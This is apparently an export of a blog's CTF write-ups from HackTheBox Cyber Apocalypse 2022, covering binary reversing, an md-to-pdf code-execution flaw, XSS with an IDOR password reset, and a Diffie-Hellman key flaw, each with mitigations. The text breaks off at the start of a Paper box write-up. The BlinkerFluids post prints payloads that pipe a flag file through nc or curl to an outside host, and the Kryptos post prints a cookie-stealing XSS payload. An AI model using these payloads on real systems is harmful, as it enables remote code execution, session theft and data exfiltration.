[{"content":"Within this post I\u0026rsquo;ll be doing a write up of the Wide challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my thought process whilst I was trying to complete the challenge.\nReconaissance First look After I downloaded the file attached to the challenge on the CTF platform, I unpacked the zip file and took a look at the contents. To start off with, there was a binary file called wide and a file called db.ex. I decided to take a look at the wide binary to begin.\nExecuting the file in the terminal yielded the following output:\nAfter adding db.ex as a parameter, I ran the command again.\nThere were several different dimensions I could choose to access in the program, so I tried accessing them one by one and checking them to see if they had anything interesting.\nAh, it seemed that one of them was encrypted and required a password for access. I decided to take a closer look at the wide binary in radare2.\nAnalysis After seeking to the main function and printing the disassembled function, I decided to take a look through the instructions. Near the end of the function, the following function call attracted my attention:\n1 │ 0x00000fee e8f7f9ffff call sym.menu So next I seeked to the \u0026lsquo;sym.menu\u0026rsquo; function and printed the contents of that too, with these lines being of particular interest to me:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 │ │╎╎╎ 0x00000cca e891fbffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) │ │╎╎╎ 0x00000ccf 488d8d40ffff. lea rcx, [s] │ │╎╎╎ 0x00000cd6 488d8540feff. lea rax, [pwcs] │ │╎╎╎ 0x00000cdd ba10000000 mov edx, 0x10 ; size_t n │ │╎╎╎ 0x00000ce2 4889ce mov rsi, rcx ; const char *s │ │╎╎╎ 0x00000ce5 4889c7 mov rdi, rax ; wchar_t *pwcs │ │╎╎╎ 0x00000ce8 e843fbffff call sym.imp.mbstowcs ; size_t mbstowcs(wchar_t *pwcs, const char *s, size_t n) │ │╎╎╎ 0x00000ced 488d8540feff. lea rax, [pwcs] │ │╎╎╎ 0x00000cf4 488d351d0400. lea rsi, str.sup3rs3cr3tw1d3 ; 0x1118 ; U\u0026#34;sup3rs3cr3tw1d3\u0026#34; ; const wchar_t *s2 │ │╎╎╎ 0x00000cfb 4889c7 mov rdi, rax ; const wchar_t *s1 │ │╎╎╎ 0x00000cfe e8fdfaffff call sym.imp.wcscmp ; int wcscmp(const wchar_t *s1, const wchar_t *s2) │ │╎╎╎ 0x00000d03 85c0 test eax, eax │ ┌─────\u0026lt; 0x00000d05 0f85ae000000 jne 0xdb9 │ ││╎╎╎ 0x00000d0b c78534feffff. mov dword [var_1cch], 0 │ ┌──────\u0026lt; 0x00000d15 eb7c jmp 0xd93 It appeared that the section was getting some input from the user using fgets and then comparing it to another string, \u0026lsquo;sup3rs3cr3tw1d3\u0026rsquo;, which is of type wchar. I wasn\u0026rsquo;t actually aware of this type of string, so I decided to research it in comparison to other types. Eventually, I came across this wikipedia page which explained that they are effectively characters which have sizes greater than 8 bits and are therefore different to the typical ascii standard. To confirm this, I decided to run strings on the binary and see if the \u0026lsquo;sup3rs3cr3tw1d3\u0026rsquo; string would show.\nClearly, strings only looked for ascii strings when it scanning the content of files. Interesting.\nExploitation Next, I decided to attempt to input the \u0026lsquo;sup3rs3cr3tw1d3\u0026rsquo; string as the password when prompted in the program.\nThere we go, that was a rather short challenge, but an interesting one nonetheless.\nMitigations Security by obscurity The usage of the wchar type in c is not an effective method for storing encryption keys for sensitive content, as despite taking longer for discovery of the key in some circumstances, it\u0026rsquo;s useless for truly securing the key. Ideally, the key should not be present in the file and the program would simply attempt to decrypt the text with the given password and check for the \u0026lsquo;HTB{\u0026rsquo; header in the text to tell if the decryption was successful.\nDonate Monero\n","date":"2022-05-26T14:15:59+01:00","permalink":"/p/hackthebox-ca-2022-wide/","title":"HackTheBox CA 2022 - Wide"},{"content":"Within this post I\u0026rsquo;ll be doing a write up of the BlinkerFluids challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my thought process whilst I was trying to complete the challenge.\nReconnaissance First look After downloading the file attached to the challenge from the CTF platform, I decided to take a look through it. The first file which caught my eye was the \u0026lsquo;package.json\u0026rsquo; file, I figured from the presence of this file the challenge was a node js application and this file listed the dependencies. The contents were as follows:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { { \u0026#34;name\u0026#34;: \u0026#34;blinker-fluids\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;index.js\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;start\u0026#34;: \u0026#34;node index.js\u0026#34; }, \u0026#34;keywords\u0026#34;: [], \u0026#34;author\u0026#34;: \u0026#34;rayhan0x01\u0026#34;, \u0026#34;license\u0026#34;: \u0026#34;ISC\u0026#34;, \u0026#34;dependencies\u0026#34;: { \u0026#34;express\u0026#34;: \u0026#34;4.17.3\u0026#34;, \u0026#34;md-to-pdf\u0026#34;: \u0026#34;4.1.0\u0026#34;, \u0026#34;nunjucks\u0026#34;: \u0026#34;3.2.3\u0026#34;, \u0026#34;sqlite-async\u0026#34;: \u0026#34;1.1.3\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;8.3.2\u0026#34; }, \u0026#34;devDependencies\u0026#34;: { \u0026#34;nodemon\u0026#34;: \u0026#34;^1.19.1\u0026#34; } } I found this file interesting, but none of these dependencies were immediately sticking out to me as a vulnerability yet, so I decided to move on.\nWebpage Looking at the main page of the application, it appeared that its purpose was for generating invoices in PDF format. Clicking the \u0026lsquo;create an invoice\u0026rsquo; button resulted in the following:\nSo it seemed that the application was converting the markdown to a PDF format somehow? I decided to take a closer look.\nFurther investigation Eventually, I found an \u0026lsquo;index.js\u0026rsquo; file within the \u0026lsquo;routes\u0026rsquo; directory of the downloaded archive. After opening this file, these lines in particular were of interest to me:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 router.post(\u0026#39;/api/invoice/add\u0026#39;, async (req, res) =\u0026gt; { const { markdown_content } = req.body; if (markdown_content) { return MDHelper.makePDF(markdown_content) .then(id =\u0026gt; { db.addInvoice(id) .then(() =\u0026gt; { res.send(response(\u0026#39;Invoice saved successfully!\u0026#39;)); }) .catch(e =\u0026gt; { res.send(response(\u0026#39;Something went wrong!\u0026#39;)); }) }) .catch(e =\u0026gt; { console.log(e); return res.status(500).send(response(\u0026#39;Something went wrong!\u0026#39;)); }) } return res.status(401).send(response(\u0026#39;Missing required parameters!\u0026#39;)); }); It appeared that MDHelper was being used to parse submitted user input and create an entry in the database. But where there\u0026rsquo;s user input, there\u0026rsquo;s risk. Looking back to the top of the file, I found a reference to a file, MDHelper.js. The contents of the file were as follows:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const { mdToPdf } = require(\u0026#39;md-to-pdf\u0026#39;) const { v4: uuidv4 } = require(\u0026#39;uuid\u0026#39;) const makePDF = async (markdown) =\u0026gt; { return new Promise(async (resolve, reject) =\u0026gt; { id = uuidv4(); try { await mdToPdf( { content: markdown }, { dest: `static/invoices/${id}.pdf`, launch_options: { args: [\u0026#39;--no-sandbox\u0026#39;, \u0026#39;--js-flags=--noexpose_wasm,--jitless\u0026#39;] } } ); resolve(id); } catch (e) { reject(e); } }); } module.exports = { makePDF }; It appeared that the file was an implementation of the \u0026lsquo;md-to-pdf\u0026rsquo; library which converted markdown files to pdf files. Considering this was the main functionality of the application, I thought I should check if it has any vulnerabilities.\nExploitation Trial and error Aha! I managed to find a post on GitHub detailing a vulnerability (or feature) in a dependency for \u0026lsquo;md-to-pdf which can lead to code execution, with the example payload being as follows:\n1 ---js\\n((require(\u0026#34;child_process\u0026#34;)).execSync(\u0026#34;id \u0026gt; /tmp/RCE.txt\u0026#34;))\\n---RCE All I had to do was create a new PDF, with the payload as the content to exploit it. This payload injects another javascript object into node js and executes the command \u0026lsquo;id \u0026gt; /tmp/RCE.txt\u0026rsquo; synchronously (meaning, in the same thread). I decided to tweak this payload slightly to fit my needs:\n1 ---js\\n((require(\u0026#34;child_process\u0026#34;)).execSync(\u0026#34;cat ../flag.txt | nc host port\u0026#34;))\\n---RCE Here I modified the payload to get the contents of the flag, which was 1 directory up from the application\u0026rsquo;s directory and then send it to my machine using netcat. I decided to test my exploit locally by building the docker image myself and deploying it so I could see the \u0026lsquo;stdout\u0026rsquo; and \u0026lsquo;stderr\u0026rsquo; from the application.\nAfter capturing a request to add a pdf using burpsuite and replacing the contents with my payload, the application threw an error regarding the speech marks I was using in the payload, so I replaced them with single quotes instead. After doing this and resubmitting the payload, I saw the following error in the application:\nRefining the payload Okay, so it looked like my command was being executed, however netcat wasn\u0026rsquo;t installed on the target system! It looked like I was going to have to get creative with my exploit in order to get the flag. The idea of using curl occurred to me as it\u0026rsquo;s on almost every unix systems, however I wasn\u0026rsquo;t quite sure how I was going to get it to send the data in a post request. I came across this post on stackoverflow which taught me that the \u0026lsquo;@-\u0026rsquo; argument can be used to read from the pipe. So I ended up with the following exploit.\n1 ---js\\n((require(\u0026#39;child_process\u0026#39;)).execSync(\u0026#39;cat ../flag.txt | curl -d @- https://hostname\u0026#39;))\\n---RCE However, the standard python http server unfortunately did not accept HTTP POST requests, nor log their data, so I had to use this script in order to view the submitted flag. Firstly, I did a test run with the payload locally.\nGreat, next I fired up ngrok:\n1 ngrok http 80 And attempted to exploit the vulnerability:\nExcellent! What an interesting challenge, I\u0026rsquo;ve never had to use curl to exfiltrate data before.\nMitigations md-to-pdf A patch was applied to later versions of md-to-pdf which prevented the gray-matter engine from executing javascript objects in the markdown input. The version of the md-to-pdf dependency should be updated.\nDonate Monero\n","date":"2022-05-25T13:22:20+01:00","permalink":"/p/hackthebox-ca-2022-blinkerfluids/","title":"HackTheBox CA 2022 - BlinkerFluids"},{"content":"Within this post I\u0026rsquo;ll be doing a write up of the Kryptos Support challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my thought process whilst I was trying to complete the challenge.\nReconnaissance First look To start off with I fired up the container provided to me on the CTF platform and navigated to the given address on my browser, which caused me to to be greeted with the following:\nLooking at this form, I immediately thought of XSS, as most likely these submitted tickets are being reviewed by someone. But first, I decided to fire up dirbuster and see what other endpoints were being hosted.\nFrom this output I could tell there was a login, admin, settings and tickets page on the application. I decided to take a look at the login page and try to bruteforce it in burpsuite, but to no avail unfortunately.\nExploitation XSS After this, I decided to go back and take a second look at that form to see if it was vulnerable to XSS. First, I had to run a python http server on my machine using:\n1 python -m http.server 80 And then I started an ngrok instance in order to allow the target to connect back to me if the exploitation was successful using the following command:\n1 ngrok http 80 This gave me a domain which I could use as a reverse proxy for the target to connect back to me. I found out about this tool during the hacking workshops being hosted before the CTF, pretty cool.\nFinally, I had to play around with the \u0026lsquo;script\u0026rsquo; tags in the form until I was able to successfully get a connection back to my python server. Eventually, I settled on the following input, in order to steal the cookies of the user who was reviewing the tickets, which I figured would provide me further access into the challenge.\n1 \u0026lt;script\u0026gt;document.location=\u0026#39;http://hostname:port/?c=\u0026#39; + document.cookie\u0026lt;/script\u0026gt; So, I hit send and waited.\nExcellent! The request was made successfully and the user\u0026rsquo;s browser submitted its cookies to me, allowing me to login as them temporarily in my browser by setting their cookie as my own. I used the cookie editor extension for this on Firefox.\nNext, I decided to take a look at the \u0026lsquo;/tickets\u0026rsquo; endpoint available on the challenge as shown by dirbuster. I ran into a slight issue due to the XSS I exploited however, as it seems my exploit was a little too successful, redirecting me immediately to my own http server when I requested \u0026lsquo;/tickets\u0026rsquo;! So in order to view the content of the page I had to run my request through burpsuite and view the source through there, which can be seen below.\nGreat, I was finally able to view the \u0026lsquo;/tickets\u0026rsquo; endpoint as the moderator user. However, initially I spent far too much time focusing on the content of the tickets and what they could mean, as I thought they were an important part of the challenge. Eventually, my teammate reminded me of the \u0026lsquo;/settings\u0026rsquo; endpoint, which I decided to take a look at next.\nResetting passwords Taking a look at the \u0026lsquo;/settings\u0026rsquo; page, it seemed that it allowed me to reset the password of the user currently logged in. Upon closer inspection of the request made by my browser in burpsuite, I\u0026rsquo;m able to understand how the API involved works.\nIt appeared that the request included the new password being set for the user account, along with the \u0026lsquo;uid\u0026rsquo; of the targeted account. This got me thinking, I wondered if I was able to reset the passwords of other users I\u0026rsquo;m not currently logged in as, such as the admin? I started off with setting the \u0026lsquo;uid\u0026rsquo; to 0.\nUnfortunately there was no user with the \u0026lsquo;uid\u0026rsquo; 0. What about 1 instead?\nAha! It appeared that I had just changed the password for the administrator account to my own chosen one, \u0026lsquo;12345\u0026rsquo;. Now all I had to do was attempt to login (using the \u0026lsquo;/login\u0026rsquo; endpoint) as admin using my new password.\nExcellent.\nMitigations XSS The input used to generate the tickets should be sanitised with all html tags escaped in order to prevent any form of injection into the page.\nUnauthorised password resets In order to prevent users from resetting passwords other than their own, the \u0026lsquo;uid\u0026rsquo; value from their JWT token should be checked against the \u0026lsquo;uid\u0026rsquo; contained in the submitted password request, with invalid requests being rejected.\nDonate Monero\n","date":"2022-05-20T15:00:00+01:00","permalink":"/p/hackthebox-ca-2022-kryptos-support/","title":"HackTheBox CA 2022 - Kryptos Support"},{"content":"Within this post I\u0026rsquo;ll be doing a write up of the Space Pirate: Entrypoint challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my thought process whilst I was trying to complete the challenge.\nReconnaissance First look I started off by downloading the provided zip file from HackTheBox\u0026rsquo;s CTF platform and unzipping it. Within the zip file was a binary called \u0026lsquo;sp_entrypoint\u0026rsquo; along with a glibc folder providing runtime .so libraries to allow the binary to run. Firstly, I decided to take a look at the binary file using the tool \u0026lsquo;strings\u0026rsquo; to view all the printable strings present in the file.\nThe \u0026lsquo;0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455\u0026rsquo; string seemed interesting, so I tried to run the program and enter it when prompted for a password!\nDamn, it seemed that it wouldn\u0026rsquo;t be that easy. I had to take a closer look at the program.\nAnalysis After opening up the binary with radare2, analysing it, seeking to the \u0026lsquo;main\u0026rsquo; function and printing the disassembled function, I began looking through the contents of the function. The following instructions in particular stood out to me:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 │ ││ 0x00000d66 ba1f000000 mov edx, 0x1f ; size_t nbyte │ ││ 0x00000d6b 4889c6 mov rsi, rax ; void *buf │ ││ 0x00000d6e bf00000000 mov edi, 0 ; int fildes │ ││ 0x00000d73 e848fbffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ ││ 0x00000d78 488d3dd91800. lea rdi, str._nYour_card_is:_ ; 0x2658 ; \u0026#34;\\nYour card is: \u0026#34; ; const char *format │ ││ 0x00000d7f b800000000 mov eax, 0 │ ││ 0x00000d84 e817fbffff call sym.imp.printf ; int printf(const char *format) │ ││ 0x00000d89 488d45d0 lea rax, [format] │ ││ 0x00000d8d 4889c7 mov rdi, rax ; const char *format │ ││ 0x00000d90 b800000000 mov eax, 0 │ ││ 0x00000d95 e806fbffff call sym.imp.printf ; int printf(const char *format) │ ││ 0x00000d9a 488b55c0 mov rdx, qword [var_40h] │ ││ 0x00000d9e b83713adde mov eax, 0xdead1337 │ ││ 0x00000da3 4839c2 cmp rdx, rax │ ││┌─\u0026lt; 0x00000da6 752e jne 0xdd6 │ ┌────\u0026lt; 0x00000da8 eb46 jmp 0xdf0 ... │ └────\u0026gt; 0x00000df0 b800000000 mov eax, 0 │ │ 0x00000df5 e889fdffff call sym.open_door The \u0026lsquo;sym.open_door\u0026rsquo; function reference looked interesting to me, so I decided to trace the jump instruction that lead to it. It seemed the function would be triggered if \u0026lsquo;[var_40h]\u0026rsquo; variable was equal to the hex value \u0026lsquo;0xdead1337\u0026rsquo;. So perhaps it was possible to manipulate the value of that variable to get access?\n[var_40h] I looked further up in the function, namely near the start and saw that the \u0026lsquo;[var_40h]\u0026rsquo; variable was being set there.\n1 2 │ 0x00000d17 b8efbeadde mov eax, 0xdeadbeef │ 0x00000d1c 488945c0 mov qword [var_40h], rax Unfortunately, it was being set to a hardcoded value of 0xdeadbeef and there doesn\u0026rsquo;t seem to be any way of modifying this variable myself, so this seemed like a dead end.\nsym.check_pass So I instead started looking around in other areas of the function and noticed the following function call.\n1 │ ││ │ 0x00000daf e895feffff call sym.check_pass Looking inside the \u0026lsquo;sym.check_pass\u0026rsquo; function, the following instructions were of interest to me.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 │ 0x55e85ea00c81 488d45e0 lea rax, [var_20h] │ 0x55e85ea00c85 ba0f000000 mov edx, 0xf ; 15 │ 0x55e85ea00c8a 4889c6 mov rsi, rax │ 0x55e85ea00c8d bf00000000 mov edi, 0 │ 0x55e85ea00c92 e829fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ 0x55e85ea00c97 488d45e0 lea rax, [var_20h] │ 0x55e85ea00c9b ba0f000000 mov edx, 0xf ; 15 │ 0x55e85ea00ca0 4889c6 mov rsi, rax │ 0x55e85ea00ca3 488d3dce1800. lea rdi, str.0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455 ; 0x55e85ea02578 ; \u0026#34;0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455\u0026#34; │ 0x55e85ea00caa e8b1fbffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n) │ 0x55e85ea00caf 85c0 test eax, eax │ ┌─\u0026lt; 0x55e85ea00cb1 7522 jne 0x55e85ea00cd5 │ │ 0x55e85ea00cb3 488d35e01800. lea rsi, str.e_1_5_31m ; 0x55e85ea0259a │ │ 0x55e85ea00cba 488d3de71800. lea rdi, str._n_s____Invalid_password__Intruder_detected____n ; 0x55e85ea025a8 ; \u0026#34;\\n%s[-] Invalid password! Intruder detected! \\U0001f6a8 \\U0001f6a8\\n\u0026#34; │ │ 0x55e85ea00cc1 b800000000 mov eax, 0 │ │ 0x55e85ea00cc6 e8d5fbffff call sym.imp.printf ; int printf(const char *format) │ │ 0x55e85ea00ccb bf391b0000 mov edi, 0x1b39 ; \u0026#39;9\u0026#39; │ │ 0x55e85ea00cd0 e83bfcffff call sym.imp.exit │ └─\u0026gt; 0x55e85ea00cd5 b800000000 mov eax, 0 │ 0x55e85ea00cda e8a4feffff call sym.open_door Within this function I could see it was configured to do as the name implies, check the given input against a hardcoded password value. However, looking closer, I realised there was something wrong with the logic in the program. First, it was comparing my inputted string with a hardcoded string using strncmp, which returns 0 in \u0026rsquo;eax\u0026rsquo; if the strings are the same. Then the \u0026rsquo;test\u0026rsquo; instruction is checking if \u0026rsquo;eax\u0026rsquo; holds a value of zero, as it performs a bitwise AND and then sets the \u0026lsquo;ZF\u0026rsquo; (zero flag) if the result is zero. This works because the only possible input values which result in zero with a bitwise AND is two zeroes. Then, instead of the expected \u0026lsquo;je\u0026rsquo; (jump equal) instruction, which would jump if the ZF is set (meaning the strings are the same), there is a \u0026lsquo;jne\u0026rsquo; (jump not equal) instruction. This means that it will trigger if the strings are not equal, instead of being equal, which is likely an error, as it\u0026rsquo;s the opposite of traditionally expected functionality. This jump instruction went right to a function call:\n1 2 │ └─\u0026gt; 0x55e85ea00cd5 b800000000 mov eax, 0 │ 0x55e85ea00cda e8a4feffff call sym.open_door sym.open_door Printing the contents of the sym.open_door function yielded the following:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ; CALL XREF from sym.check_pass @ 0x55e85ea00cda ; CALL XREF from main @ 0x55e85ea00df5 ┌ 82: sym.open_door (); │ ; var int64_t var_8h @ rbp-0x8 │ 0x55e85ea00b83 55 push rbp │ 0x55e85ea00b84 4889e5 mov rbp, rsp │ 0x55e85ea00b87 4883ec10 sub rsp, 0x10 │ 0x55e85ea00b8b 64488b042528. mov rax, qword fs:[0x28] │ 0x55e85ea00b94 488945f8 mov qword [var_8h], rax │ 0x55e85ea00b98 31c0 xor eax, eax │ 0x55e85ea00b9a 488d35170300. lea rsi, str.e_1_32m ; 0x55e85ea00eb8 │ 0x55e85ea00ba1 488d3d701900. lea rdi, str._n_s___Door_opened__you_can_proceed_with_the_passphrase:_ ; 0x55e85ea02518 ; \u0026#34;\\n%s[+] Door opened, you can proceed with the passphrase: \u0026#34; │ 0x55e85ea00ba8 b800000000 mov eax, 0 │ 0x55e85ea00bad e8eefcffff call sym.imp.printf ; int printf(const char *format) │ 0x55e85ea00bb2 488d3d991900. lea rdi, str.cat_flag ; 0x55e85ea02552 ; \u0026#34;cat flag*\u0026#34; │ 0x55e85ea00bb9 e8d2fcffff call sym.imp.system ; int system(const char *string) │ 0x55e85ea00bbe 90 nop │ 0x55e85ea00bbf 488b45f8 mov rax, qword [var_8h] │ 0x55e85ea00bc3 644833042528. xor rax, qword fs:[0x28] │ ┌─\u0026lt; 0x55e85ea00bcc 7405 je 0x55e85ea00bd3 │ │ 0x55e85ea00bce e8adfcffff call sym.imp.__stack_chk_fail │ └─\u0026gt; 0x55e85ea00bd3 c9 leave └ 0x55e85ea00bd4 c3 ret So it seems this function will provide us with the flag when called because of the system call on line 16! And all I needed to do to trigger this was enter a string not equal to the hardcoded one due to the inverted logic! Brilliant!\nExploitation So now all I need to do is exploit the binary. I connected to the container running on the CTF platform and set about exploiting it.\nBingo! All I had to enter was 2 to choose to enter a password and any string I wanted after as the password to get access because of the inverted logic, great!\nMitigations Inverted password check The behaviour of the \u0026lsquo;check_pass\u0026rsquo; function should be changed to only call \u0026lsquo;open_door\u0026rsquo; if the entered password is equal to the \u0026ldquo;0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455\u0026rdquo; string. This can be achieved by replacing the \u0026lsquo;jne\u0026rsquo; (jump not equal) instruction with a \u0026lsquo;je\u0026rsquo; (jump equal) instruction instead.\nDonate Monero\n","date":"2022-05-20T14:30:00+01:00","permalink":"/p/hackthebox-ca-2022-space-pirate-entrypoint/","title":"HackTheBox CA 2022 - Space Pirate: Entrypoint"},{"content":"Within this post I\u0026rsquo;ll be doing a write up of the Android in the Middle challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my throught process whilst I was trying to complete the challenge.\nReconnaissance First look After downloading the challenge from HackTheBox\u0026rsquo;s CTF platform, I decided to open the zip file and take a look at the contents. Within the zip is a single file, \u0026lsquo;source.py\u0026rsquo;. I went through this file and trimmed out the non-essential parts in order to make the source easier to read. The result is as follows.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import hashlib import random import socketserver import signal FLAG = \u0026#34;HTB{--REDACTED--}\u0026#34; DEBUG_MSG = \u0026#34;DEBUG MSG - \u0026#34; p = 0x509efab16c5e2772fa00fc180766b6e62c09bdbd65637793c70b6094f6a7bb8189172685d2bddf87564fe2a6bc596ce28867fd7bbc300fd241b8e3348df6a0b076a0b438824517e0a87c38946fa69511f4201505fca11bc08f257e7a4bb009b4f16b34b3c15ec63c55a9dac306f4daa6f4e8b31ae700eba47766d0d907e2b9633a957f19398151111a879563cbe719ddb4a4078dd4ba42ebbf15203d75a4ed3dcd126cb86937222d2ee8bddc973df44435f3f9335f062b7b68c3da300e88bf1013847af1203402a3147b6f7ddab422d29d56fc7dcb8ad7297b04ccc52f7bc5fdd90bf9e36d01902e0e16aa4c387294c1605c6859b40dad12ae28fdfd3250a2e9 g = 2 def decrypt(encrypted, shared_secret): key = hashlib.md5(long_to_bytes(shared_secret)).digest() cipher = AES.new(key, AES.MODE_ECB) message = cipher.decrypt(encrypted) return message def main(s): c = random.randrange(2, p - 1) M = recieveMessage(s, \u0026#34;Enter The Public Key of The Memory: \u0026#34;) try: M = int(M) except: sendMessage(s, DEBUG_MSG + \u0026#34;Unexpected Error Occured\\n\u0026#34;) exit() shared_secret = pow(M, c, p) encrypted_sequence = recieveMessage( s, \u0026#34;Enter The Encrypted Initialization Sequence: \u0026#34;) try: encrypted_sequence = bytes.fromhex(encrypted_sequence) assert len(encrypted_sequence) % 16 == 0 except: sendMessage(s, DEBUG_MSG + \u0026#34;Unexpected Error Occured\\n\u0026#34;) exit() sequence = decrypt(encrypted_sequence, shared_secret) if sequence == b\u0026#34;Initialization Sequence - Code 0\u0026#34;: sendMessage(s, \u0026#34;\\n\u0026#34; + DEBUG_MSG + \u0026#34;Reseting The Protocol With The New Shared Key\\n\u0026#34;) sendMessage(s, DEBUG_MSG + f\u0026#34;{FLAG}\u0026#34;) else: exit() So it appears that the file provided is the source code for the challenge, which will be operating on a container on the CTF platform and which I have to exploit in order to get it to spit out the flag.\nAnalysis Looking through the source, it seems that the program is using my input (variable M) to calculate a shared secret. The calculation can be described as shared_secret = M ^ c % p, where \u0026lsquo;c\u0026rsquo; is a random number between 2 and p - 1, with the value of \u0026lsquo;p\u0026rsquo; being defined at the top of the source as a huge number. This immediately stuck out to me. There must have been a reason I was able to control the value of \u0026lsquo;M\u0026rsquo;, but I couldn\u0026rsquo;t quite figure out why.\nSo I decided to create the following script called \u0026rsquo;example.py\u0026rsquo;.\n1 2 3 4 5 6 7 8 9 import random p = 0x509efab16c5e2772fa00fc180766b6e62c09bdbd65637793c70b6094f6a7bb8189172685d2bddf87564fe2a6bc596ce28867fd7bbc300fd241b8e3348df6a0b076a0b438824517e0a87c38946fa69511f4201505fca11bc08f257e7a4bb009b4f16b34b3c15ec63c55a9dac306f4daa6f4e8b31ae700eba47766d0d907e2b9633a957f19398151111a879563cbe719ddb4a4078dd4ba42ebbf15203d75a4ed3dcd126cb86937222d2ee8bddc973df44435f3f9335f062b7b68c3da300e88bf1013847af1203402a3147b6f7ddab422d29d56fc7dcb8ad7297b04ccc52f7bc5fdd90bf9e36d01902e0e16aa4c387294c1605c6859b40dad12ae28fdfd3250a2e9 c = random.randrange(2, p - 1) M = 1 print (pow(M, c, p)) This script contained the variables \u0026lsquo;p\u0026rsquo; and \u0026lsquo;c\u0026rsquo; as seen within the source, but the power calculation was instead done with M being the hardcoded value of 1. The output from running the script is as follows:\nI ran it a couple more times just to be sure that the output was consistent and this wasn\u0026rsquo;t a fluke.\nSo it seemed that when the variable \u0026lsquo;M\u0026rsquo; is set to 1, \u0026lsquo;shared_secret\u0026rsquo; would also be 1, but why? Well, if you broke the equation down, it made an awful lot of sense. If you subsituted M = 1 into shared_secret = M ^ c % p, you got shared_secret = 1 ^ c % p. As a rule, 1 times itself any number of times will always be 1, no matter what, so the ^ c can be removed from the equation. So I had 1 % p, in which case % p can also be ignored, as 1 is far less than the value of p, so having % p in this equation will not change the outcome. So effectively, I had \u0026lsquo;shared_secret\u0026rsquo; = 1, when \u0026lsquo;M\u0026rsquo; = 1.\nExploitation Understanding the key generation Brilliant. So I was able to control the shared_secret, but what was it actually used for? I took at look back at the source to find out, with these particular sections of the source becoming of interest to me.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def decrypt(encrypted, shared_secret): key = hashlib.md5(long_to_bytes(shared_secret)).digest() cipher = AES.new(key, AES.MODE_ECB) message = cipher.decrypt(encrypted) return message encrypted_sequence = recieveMessage( s, \u0026#34;Enter The Encrypted Initialization Sequence: \u0026#34;) try: encrypted_sequence = bytes.fromhex(encrypted_sequence) assert len(encrypted_sequence) % 16 == 0 except: sendMessage(s, DEBUG_MSG + \u0026#34;Unexpected Error Occured\\n\u0026#34;) exit() sequence = decrypt(encrypted_sequence, shared_secret) if sequence == b\u0026#34;Initialization Sequence - Code 0\u0026#34;: sendMessage(s, \u0026#34;\\n\u0026#34; + DEBUG_MSG + \u0026#34;Reseting The Protocol With The New Shared Key\\n\u0026#34;) sendMessage(s, DEBUG_MSG + f\u0026#34;{FLAG}\u0026#34;) else: exit() So it appeared that the \u0026lsquo;shared_secret\u0026rsquo; was used to calculate an MD5 value, which was then used as the key to decrypt a message encrypted with AES submitted to the program. Then, if the content of the decrypted message is \u0026lsquo;Initialization Sequence - Code 0\u0026rsquo;, then the program spits out the flag. So all I needed to do was write a script which, firstly, implemented an encryption function using AES and then used that function to encrypt the string \u0026lsquo;Initialization Sequence - Code 0\u0026rsquo;. Then I would be able to send this to the program and get the flag.\nImplementing the exploit I ended up creating the following script called \u0026lsquo;genmessage.py\u0026rsquo;:\n1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import hashlib shared_secret = 1 def encrypt(shared_secret, message): key = hashlib.md5(long_to_bytes(shared_secret)).digest() cipher = AES.new(key, AES.MODE_ECB) encrypted = cipher.encrypt(message) return encrypted print(encrypt(shared_secret, b\u0026#34;Initialization Sequence - Code 0\u0026#34;)) So all I needed to do was test it! After running the script it gave me the following output:\nHmm, I wasn\u0026rsquo;t entirely sure if it would work with the hex in that format, but I tried regardless. I connected to the container running on the CTF platform and entered in the values.\nUnfortunately it didn\u0026rsquo;t work. I decided to do some research on how to get python to output the hex in a nicer way. Eventually, I discovered that I could use the .hex() function on the bytes object to convert it to a hex representation. Therefore, line 13 instead was:\n1 print(encrypt(shared_secret, b\u0026#34;Initialization Sequence - Code 0\u0026#34;).hex()) Retry I tried running the script again.\nGreat, that looks better! Now to exploit the program.\nBrilliant, it worked! This was an interesting challenge for sure.\nMitigations Key generation Values less than 2 should not be provided to the python \u0026lsquo;pow\u0026rsquo; function in order to ensure acceptable entropy and keep the key unpredictable.\nDonate Monero\n","date":"2022-05-20T14:00:00+01:00","permalink":"/p/hackthebox-ca-2022-android-in-the-middle/","title":"HackTheBox CA 2022 - Android in the Middle"},{"content":"Within this post I\u0026rsquo;ll be doing a write up of the Paper box on HackTheBox, released on 05/02/2022. This write up will be written according to my thought process whilst I was trying to complete the box.\nFoothold Initial reconnaissance I started off with a simple nmap SYN scan, with service version detection enabled, in order to gather information about the 